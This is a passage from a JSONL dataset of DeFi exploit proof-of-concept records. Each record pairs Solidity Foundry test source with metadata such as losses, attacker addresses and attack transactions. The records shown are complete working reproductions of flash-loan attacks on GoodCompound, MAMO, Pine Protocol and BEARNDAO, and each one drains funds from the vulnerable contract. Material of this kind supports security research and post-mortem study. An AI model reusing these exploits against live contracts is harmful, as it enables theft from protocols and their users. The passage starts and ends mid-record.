helper = new HelperExploitContract();\n transferTokens(address(helper));\n helper.exploit();\n\n // Claim tokens TX\n vm.roll(33_972_130);\n FCN_BUSDT.swap(0, BUSDT.balanceOf(address(FCN_BUSDT)) - 20e15, address(this), abi.encode(0));\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter FCN balance after attack\", FCN.balanceOf(address(this)), FCN.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$500K", "keyinfo_attacker": "https://bscscan.com/address/0xa9edec4496bd013dac805fb221edefc53cbfaf05", "keyinfo_attack_contract": "https://bscscan.com/address/0x791626eb05e60fac973646ac8d67b008b939fe88", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$500.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "UnverifiedContr_0x431abb Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~$13K (250 COMP Token)\n// Attacker : https://etherscan.io/address/0xdfab184bc668f16c1cb949228068588106924569\n// Attack Contract : https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b13\n// Vulnerable Contract : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b\n// Attack Tx : https://etherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b#code\n\n// @Analysis\n// Post-mortem : getherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IComptroller {\n function enterMarkets(\n address[] memory\n ) external;\n function claimComp(address, address[] memory) external;\n}\n\ninterface ICompoundToken {\n function borrow(\n uint256 borrowAmount\n ) external;\n function repayBorrow(\n uint256 repayAmount\n ) external;\n function redeem(\n uint256 redeemAmount\n ) external;\n function mint(\n uint256 amount\n ) external;\n function comptroller() external view returns (address);\n}\n\ninterface IGoodFundManager {\n function collectInterest(address[] memory, bool) external;\n}\n\ncontract GoodCompound is BaseTestWithBalanceLog {\n address balancer_vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\n IBalancerVault balancer = IBalancerVault(balancer_vault);\n\n address profit_receiver = 0xa8Ca14Af6ef32A1Be44652CA13d0071bf855f8DD;\n\n address compound = 0xc00e94Cb662C3520282E6f5717214004A7f26888;\n IERC20 compound_token = IERC20(compound);\n address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n IERC20 weth_token = IERC20(weth);\n\n address ceth = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;\n IERC20 ceth_token = IERC20(ceth);\n\n address compound_comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;\n address ccompound_token = 0x70e36f6BF80a52b3B46b3aF8e106CC0ed743E8e4;\n\n address sushi = 0x31503dcb60119A812feE820bb7042752019F2355;\n\n address univ2_router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n IUniswapV2Router univ2 = IUniswapV2Router(payable(univ2_router));\n\n address goodCompoundStaking = 0x7b7246C78e2F900D17646FF0CB2EC47D6BA10754;\n address cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;\n\n address proxy = 0x0c6C80D2061afA35E160F3799411d83BDEEA0a5A;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n uint256 public maxUint = type(uint256).max;\n\n address ctoken_address = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;\n IERC20 ctoken = IERC20(ctoken_address);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 18_759_541 - 1);\n deal(address(ctoken), address(this), 2_240_854_452_867); // initial tokens for setting ctoken snapshot\n cheats.prank(profit_receiver);\n compound_token.approve(address(this), maxUint); // approve for transfer\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker COMP before exploit\", compound_token.balanceOf(profit_receiver), 18\n );\n address[] memory path = new address[](2);\n path[0] = address(compound);\n path[1] = address(weth);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 894_410_483_325_707_881_040;\n amounts[1] = 55_693_783_410_001_174_957_472;\n balancer.flashLoan(address(this), path, amounts, \"\");\n emit log_named_decimal_uint(\"[End] Attacker COMP after exploit\", compound_token.balanceOf(profit_receiver), 18);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes calldata userData\n ) external {\n weth_token.withdraw(amounts[1]);\n\n bytes memory data1 = abi.encodeWithSignature(\"mint()\");\n (bool success1,) = ceth.call{value: 450}(data1);\n require(success1, \"Call failed\");\n\n address[] memory markets = new address[](1);\n markets[0] = ceth;\n IComptroller(compound_comptroller).enterMarkets(markets);\n ICompoundToken(ccompound_token).borrow(14_995_000_000_000_000_000_000);\n // double flashloan\n ISushiSwap(sushi).swap(4_200_000_000_000_000_000_000, 0, address(this), \"0x30\");\n\n IERC20(compound_token).approve(ccompound_token, maxUint);\n ICompoundToken(ccompound_token).repayBorrow(14_995_000_000_000_000_000_000);\n ICompoundToken(ceth).redeem(ceth_token.balanceOf(address(this)));\n // deposit to exchange weth\n bytes memory data2 = abi.encodeWithSignature(\"deposit()\");\n (bool success2,) = weth.call{value: 450 ether}(data2);\n require(success2, \"Call failed\");\n\n // payback\n weth_token.transfer(balancer_vault, 55_693_783_410_001_174_957_472);\n compound_token.transfer(balancer_vault, 894_410_483_325_707_881_040);\n // transfer profit to a designated address\n compound_token.transfer(profit_receiver, compound_token.balanceOf(address(this)));\n }\n\n function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n compound_token.approve(univ2_router, maxUint);\n weth_token.approve(univ2_router, maxUint);\n\n compound_token.transferFrom(profit_receiver, address(this), 7_400_000_000_000_000_000);\n uint256 compound_balance = compound_token.balanceOf(address(this));\n\n address[] memory path = new address[](2);\n path[0] = compound;\n path[1] = weth;\n univ2.swapExactTokensForTokens(compound_balance, 1, path, address(this), block.timestamp << 1);\n\n address[] memory path2 = new address[](1);\n path2[0] = cdai;\n IComptroller(compound_comptroller).claimComp(goodCompoundStaking, path2);\n\n address[] memory markets = new address[](5);\n markets[0] = goodCompoundStaking;\n markets[1] = goodCompoundStaking;\n markets[2] = goodCompoundStaking;\n markets[3] = goodCompoundStaking;\n markets[4] = goodCompoundStaking;\n IGoodFundManager(proxy).collectInterest(markets, true);\n uint256 weth_balance = weth_token.balanceOf(address(this));\n\n // swap back\n address[] memory path3 = new address[](2);\n path3[0] = weth;\n path3[1] = compound;\n univ2.swapExactTokensForTokens(weth_balance, 1, path3, address(this), block.timestamp << 1);\n\n compound_token.transfer(sushi, 4_206_320_627_691_200_181_954); // pay back\n\n bytes memory data = abi.encodeWithSignature(\"deposit()\");\n (bool success,) = weth.call{value: 55_244 ether}(data);\n require(success, \"Call failed\");\n\n weth_token.transfer(sushi, 149_285_130_679_667_947); // calculated according to reserves\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "GoodCompound", "date": "2023-12", "file_name": "GoodCompound_exp.sol", "attack_vector": "flash_loan", "content_hash": "6615f032074669fa", "collected_at": "2026-01-07T10:59:16.530597", "_source": "postmortems", "chain": "ethereum", "block_number": 18759541, "total_lost_raw": "~$13K (250 COMP Token)", "total_lost_usd": 13000.0, "attacker_address": "https://etherscan.io/address/0xdfab184bc668f16c1cb949228068588106924569", "attack_contract": "https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b13", "vulnerable_contract": "https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b", "attack_tx": "https://etherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$13K (250 COMP Token)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker COMP before exploit\", compound_token.balanceOf(profit_receiver), 18\n );\n address[] memory path = new address[](2);\n path[0] = address(compound);\n path[1] = address(weth);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 894_410_483_325_707_881_040;\n amounts[1] = 55_693_783_410_001_174_957_472;\n balancer.flashLoan(address(this), path, amounts, \"\");\n emit log_named_decimal_uint(\"[End] Attacker COMP after exploit\", compound_token.balanceOf(profit_receiver), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$13K (250 COMP Token)", "keyinfo_attacker": "https://etherscan.io/address/0xdfab184bc668f16c1cb949228068588106924569", "keyinfo_attack_contract": "https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b13", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b", "keyinfo_attack_tx": "https://etherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$13.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "GoodCompound Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : $3.3K\n// Attacker : https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec4\n// Attack Contract : https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4\n// Vulnerable Contract : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4\n// Attack Tx : https://bscscan.com/tx/0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n DVM dvm = DVM(0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address tokenAddress = 0x4341bdCEd3908A45835C67A2DbBDe2d2dAA6645D;\n IWBNB MAMO = IWBNB(payable(tokenAddress));\n address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;\n IERC20 usdt = IERC20(payable(usdtAddress));\n IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n event log_Data(bytes data);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 34_083_189 - 1);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", wbnb.balanceOf(address(this)), 18);\n emit log_named_uint(\"[Begin] Attacker MAMO before exploit\", MAMO.balanceOf(address(this)));\n address me = address(this);\n dvm.flashLoan(0, 19_000_000_000_000_000_000, me, \"0x21\");\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", wbnb.balanceOf(address(this)), 18);\n emit log_named_uint(\"[End] Attacker MAMO after exploit\", MAMO.balanceOf(address(this)));\n }\n\n function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes memory data) public {\n wbnb.withdraw(quoteAmount);\n\n address buyTokenContractAddress = 0xa915Bb6D5C117fB95E9ac2edDaE68AAd5EdB5841;\n (bool successBuyToken,) = buyTokenContractAddress.call{value: quoteAmount}(\n abi.encodeWithSignature(\"BuyToken(address)\", 0x5813d7818c9d8F29A9a96B00031ef576E892DEf4)\n ); // attacker contract gained 95,000,000 MAMO\n require(successBuyToken, \"BuyToken failed\");\n\n (uint256 _amount0, uint256 _amount1,) = pair.getReserves();\n uint256 amount_out = router.getAmountOut(9_500_000_000_000_000_000_000_000, _amount0, _amount1);\n pair.swap(0, amount_out, address(this), \"\");\n\n uint256 usdtBalance = usdt.balanceOf(address(this));\n usdt.approve(address(router), usdtBalance);\n\n address[] memory path = new address[](2);\n path[0] = usdtAddress;\n path[1] = address(wbnb);\n uint256[] memory amounts =\n router.swapExactTokensForTokens(usdtBalance, 0, path, address(this), block.timestamp + 60);\n\n wbnb.transfer(address(dvm), 19_000_000_000_000_000_000); //payback\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MAMO", "date": "2023-12", "file_name": "MAMO_exp.sol", "attack_vector": "flash_loan", "content_hash": "1f3408f89a5fb80f", "collected_at": "2026-01-07T10:59:16.530654", "_source": "postmortems", "chain": "bsc", "block_number": 34083189, "total_lost_raw": "$3.3K", "total_lost_usd": 3300.0, "attacker_address": "https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec4", "attack_contract": "https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4", "vulnerable_contract": "https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4", "attack_tx": "https://bscscan.com/tx/0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "$3.3K", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "$3.3K", "keyinfo_attacker": "https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec4", "keyinfo_attack_contract": "https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4", "keyinfo_attack_tx": "https://bscscan.com/tx/0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.3K", "content_richness_score": 6.67, "quality_estimate": "medium", "title": "MAMO Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io)\n// Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa\n// Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef\n// Vulnerable Contracts : https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f\n// https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad589\n// NFT buy Tx: https://explorer.phalcon.xyz/tx/eth/0x2f328016764ecf1f57fda0f5490087a5ddba83706b51cf518bdbd7e65ae2383b\n// Borrow Tx: https://explorer.phalcon.xyz/tx/eth/0xf4f254c3c6b64ded778b5af292c6ab6ed886c1bdd8988510bdc0ca0cf7f9857e\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d\n\n// @Analysis\n// https://medium.com/neptune-mutual/analysis-of-the-pine-protocol-exploit-e09dbcb80ca0\n// https://twitter.com/MistTrack_io/status/1738131780459430338\n\ninterface IERC721LendingPool {\n function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params) external;\n\n function repay(uint256 nftID, uint256 repayAmount, address pineWallet) external returns (bool);\n\n function _loans(\n uint256\n )\n external\n view\n returns (\n uint256 loanStartBlock,\n uint256 loanExpireTimestamp,\n uint32 interestBPS1000000XBlock,\n uint32 maxLTVBPS,\n uint256 borrowedWei,\n uint256 returnedWei,\n uint256 accuredInterestWei,\n uint256 repaidInterestWei,\n address borrower\n );\n}\n\ncontract ContractTest is Test {\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC721LendingPool private constant ERC721LendingPool02Old =\n IERC721LendingPool(0x2405913d54fC46eEAF3Fb092BfB099F46803872f);\n IERC721LendingPool private constant ERC721LendingPool02New =\n IERC721LendingPool(0xC3f4659588b13f23E09Ec54783A3c407e39ad589);\n IERC721 private constant PPG = IERC721(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);\n address private constant pineGnosisSafe = 0xc490E4646A91C3CBaFa8c55540c94Dcd0212037e;\n address private constant pineExploiter = 0x05324c970713450bA0Bc12EfD840034FCB0A4BAa;\n uint256 private constant collateralTokenId = 3324;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_835_344);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(ERC721LendingPool02Old), \"ERC721LendingPool02Old\");\n vm.label(address(ERC721LendingPool02New), \"ERC721LendingPool02New\");\n vm.label(address(PPG), \"PPG\");\n vm.label(address(pineGnosisSafe), \"pineGnosisSafe\");\n vm.label(address(pineExploiter), \"pineExploiter\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter\",\n WETH.balanceOf(pineGnosisSafe),\n 18\n );\n emit log_named_address(\n \"[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral\",\n PPG.ownerOf(collateralTokenId)\n );\n (,,,, uint256 borrowedWei,,,, address borrower) = ERC721LendingPool02New._loans(collateralTokenId);\n\n console.log(\n \"[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s\",\n borrowedWei,\n borrower\n );\n console.log(\"---Exploit start---\");\n console.log(\"1. Taking flashloan from the old lending pool\");\n bytes memory params = abi.encode(collateralTokenId, address(ERC721LendingPool02New), pineGnosisSafe);\n vm.prank(address(this), pineExploiter);\n ERC721LendingPool02Old.flashLoan(address(this), address(WETH), WETH.balanceOf(pineGnosisSafe), params);\n console.log(\"---Exploit end---\");\n emit log_named_decimal_uint(\n \"[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)\",\n WETH.balanceOf(pineGnosisSafe),\n 18\n );\n emit log_named_address(\n \"[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral\",\n PPG.ownerOf(collateralTokenId)\n );\n (,,,, borrowedWei,,,, borrower) = ERC721LendingPool02New._loans(collateralTokenId);\n\n console.log(\n \"[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s\",\n borrowedWei,\n borrower\n );\n }\n\n function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes memory _params) external {\n vm.startPrank(address(this), pineExploiter);\n WETH.approve(address(ERC721LendingPool02New), type(uint256).max);\n console.log(\"2. Using flashloaned WETH amount from old lending pool to repay loan in new lending pool\");\n ERC721LendingPool02New.repay(collateralTokenId, _amount, address(0));\n // Exploiter send to attack contract additional 0.3 WETH to repay the flashloan in the old pool\n deal(address(WETH), address(this), WETH.balanceOf(address(this)) + 0.3 ether);\n console.log(\"3. Repaying flashloan by transferring WETH straight to the Vault\");\n uint256 amountToTransfer = _amount - WETH.balanceOf(pineGnosisSafe);\n WETH.transfer(pineGnosisSafe, amountToTransfer);\n vm.stopPrank();\n }\n}\n", "type": "exploit_poc", "protocol": "PineProtocol", "date": "2023-12", "file_name": "PineProtocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "a212c9077f31794f", "collected_at": "2026-01-07T10:59:16.530700", "_source": "postmortems", "chain": "ethereum", "block_number": 18835344, "total_lost_raw": "~90K (info from hacked.slowmist.io)", "total_lost_usd": 90000.0, "attacker_address": "https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~90K (info from hacked.slowmist.io)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter\",\n WETH.balanceOf(pineGnosisSafe),\n 18\n );\n emit log_named_address(\n \"[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral\",\n PPG.ownerOf(collateralTokenId)\n );\n (,,,, uint256 borrowedWei,,,, address borrower) = ERC721LendingPool02New._loans(collateralTokenId);\n\n console.log(\n \"[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s\",\n borrowedWei,\n borrower\n );\n console.log(\"---Exploit start---\");\n console.log(\"1. Taking flashloan from the old lending pool\");\n bytes memory params = abi.encode(collateralTokenId, address(ERC721LendingPool02New), pineGnosisSafe);\n vm.prank(address(this), pineExploiter);\n ERC721LendingPool02Old.flashLoan(address(this), address(WETH), WETH.balanceOf(pineGnosisSafe), params);\n console.log(\"---Exploit end---\");\n emit log_named_decimal_uint(\n \"[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)\",\n WETH.balanceOf(pineGnosisSafe),\n 18\n );\n emit log_named_address(\n \"[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral\",\n PPG.ownerOf(collateralTokenId)\n );\n (,,,, borrowedWei,,,, borrower) = ERC721LendingPool02New._loans(collateralTokenId);\n\n console.log(\n \"[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s\",\n borrowedWei,\n borrower\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~90K (info from hacked.slowmist.io)", "keyinfo_attacker": "https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$90.0K", "content_richness_score": 8.82, "quality_estimate": "high", "title": "PineProtocol Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$769K\n// Attacker : https://bscscan.com/address/0xce27b195fa6de27081a86b98b64f77f5fb328dd5\n// Attack Contract : https://bscscan.com/address/0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa\n// Victim Contract : https://bscscan.com/address/0x21125d94cfe886e7179c8d2fe8c1ea8d57c73e0e\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1732159377749180646\n\ninterface IBvaultsStrategy {\n function convertDustToEarned() external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant ALPACA = IERC20(0x8F0528cE5eF7B51152A59745bEfDD91D97091d2F);\n IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n Uni_Pair_V2 private constant CAKE_WBNB = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);\n IBvaultsStrategy private constant BvaultsStrategy = IBvaultsStrategy(0x21125d94Cfe886e7179c8D2fE8c1EA8D57C73E0e);\n address private constant exploitContractAddr = 0xe1997bC971D5986AA57Ee8ffB57eb1DeBa4fDAaa;\n address private constant helperExpContractAddr = 0x1ccC8eE8Ad0f70E0Bb362d56035fF241755192b1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_099_688);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(ALPACA), \"ALPACA\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(CAKE_WBNB), \"CAKE_WBNB\");\n vm.label(address(Router), \"Router\");\n vm.label(address(BvaultsStrategy), \"BvaultsStrategy\");\n }\n\n function testExploit() public {\n deal(address(WBNB), address(this), 0);\n deal(address(BUSD), address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter amount of BUSD before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n CAKE_WBNB.swap(0, 10_000 * 1e18, address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Exploiter amount of BUSD after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n WBNB.approve(address(Router), type(uint256).max);\n ALPACA.approve(address(Router), type(uint256).max);\n WBNB_ALPACA();\n // Flawed function\n BvaultsStrategy.convertDustToEarned();\n ALPACA_WBNB();\n WBNB_BUSD();\n // Here there was a transfer of WBNB amount (for repaying flashloan) from second exploit contract (selfdestructed) to this contract\n deal(address(WBNB), address(this), WBNB.balanceOf(address(this)) + 10e17);\n\n // Flashloan repay\n uint256 transferAmount = getAmount();\n WBNB.transfer(address(CAKE_WBNB), transferAmount);\n }\n\n function WBNB_ALPACA() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(ALPACA);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function ALPACA_WBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(ALPACA);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ALPACA.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function WBNB_BUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSD);\n uint256 amountIn = WBNB.balanceOf(address(this)) - getAmount() + 10e17;\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);\n }\n\n function getAmount() internal returns (uint256) {\n // Value taken from original, selfdestructed contract. Used in amount calculation\n uint256 amount = uint256(vm.load(exploitContractAddr, bytes32(uint256(6))));\n return ((amount / 9975) * 10_000) + 10_000;\n }\n}\n", "type": "exploit_poc", "protocol": "BEARNDAO", "date": "2023-12", "file_name": "BEARNDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "0175c586f8681167", "collected_at": "2026-01-07T10:59:16.530754", "_source": "postmortems", "chain": "bsc", "block_number": 34099688, "total_lost_raw": "~$769K", "total_lost_usd": 769000.0, "attacker_address": "https://bscscan.com/address/0xce27b195fa6de27081a86b98b64f77f5fb328dd5", "attack_contract": "https://bscscan.com/address/0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$769K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(WBNB), address(this), 0);\n deal(address(BUSD), address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter amount of BUSD before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n CAKE_WBNB.swap(0, 10_000 * 1e18, address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Exploiter amount of BUSD after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$769K", "keyinfo_attacker": "https://bscscan.com/address/0xce27b195fa6de27081a86b98b64f77f5fb328dd5", "keyinfo_attack_contract": "https://bscscan.com/address/0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$769.0K", "content_richness_score": 8.21, "quality_estimate": "high", "title": "BEARNDAO Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~2.4 $WBNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : 